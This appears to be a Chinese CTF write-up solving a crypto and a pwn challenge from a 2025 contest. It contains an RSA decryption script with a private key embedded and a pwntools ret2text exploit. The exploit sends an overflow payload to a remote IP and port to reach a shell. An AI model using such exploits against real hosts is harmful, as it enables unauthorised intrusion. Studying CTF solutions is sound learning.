2025启航杯密码和pwn题目题解

Easy_RSA

使用私钥对应解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQDe4fAh2si86Yl9aJ9ppZ96AhnKqriOr9SjKebYQk3S7tJbz468\nqhsGtWQYN180S1ndNaAVqNZbKgw/n8NcdqW59pAz1PThHGnF6PtH+uKiyazB5thw\nuCgeMEbp54ziM9cf27QGfk7+Lh9F/v8bmrBf4Iu/GT1PW6z0vKDkAk/pPQIDAQAB\nAoGAH8u7phjAFQh7721tex+AO2JGq6g54UvULzKwa/Q0MKiWpI0Hn9fkjcsdbGxP\nI0wHQIzV5EEh01Tm9RdQQhtAU52U4D6grofAY5y5kjJTahlDqdL1+VMHFsVdQxnB\n8F6WZdTrd5lx7Wn+DsmpiNLZqQBzt+EnnJF0a5qWpx9RXUECQQDgXmaq56/P2r6d\nDLB9xdjwOkx9i1+0pbX+FESlIPg6RgTe2lfPyo4UpjZ7SDg/N/jxNaCGO9hnKKxc\nW8Ki83t3AkEA/k3mVRtKL6xczmswgAaK/8UHtBOhV51NIXB6kio2e6UjJdnHFMX3\nSz+4aX4DJV6FeLMP1leKtrd5w13DdE3F6wJAIlFOEsXtNjWXAh52wEYKsHO6T1mK\nAe92rq4a8cbhMMiU5iEvXTD2GmJx4tlhAQpmoT46l02ABAdMlbPTSWlEcQJBAJCR\nppTRa85IVYY/p5XQomqfDy8PTdSqJzQQZo37k3edPKsC8Etd86UCt4q5SX6QCp7A\nZQt8Pu56xa0L+9Z9dDsCQHQCMI+d/fmrkwMGuWgxn67GcIJjz12TjulYwSv9y/Au\nZd7CmmxJuSFy8ZZSsE7tYwMwsyms5UOjA0T6EwUztzk=\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDe4fAh2si86Yl9aJ9ppZ96AhnK\nqriOr9SjKebYQk3S7tJbz468qhsGtWQYN180S1ndNaAVqNZbKgw/n8NcdqW59pAz\n1PThHGnF6PtH+uKiyazB5thwuCgeMEbp54ziM9cf27QGfk7+Lh9F/v8bmrBf4Iu/\nGT1PW6z0vKDkAk/pPQIDAQAB\n-----END PUBLIC KEY-----'

def decrypt_message(message, private_key):
message = base64.b64decode(message)
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key)
decrypted_message = cipher.decrypt(message)
return decrypted_message


message = ":Nu+Yqe4DigDpJLag6U4BnflDz6lYnpzwn/58olMKsCtjHH4g1YV6n7wuQL/PK8HNAQM+/uHZpfTOG4FjpQmtFqiW7DkBotg8KmH9Cud2z6jwkCCkjanl1XB81LwCFiKp1IETiCNTOssMMyKSlJmnjHdsj8j4K4ylbNrl5yZuH3k="
encrypted = decrypt_message(message, private_key)
print(encrypted)

Easy_PWN

直接ret2text泄露后门即可

1
2
3
4
5
6
from pwn import *

io = remote("154.64.245.108", 33444)
payload = b'a' * 0x58 + p64(0x4011C7)
io.send(payload)
io.interactive()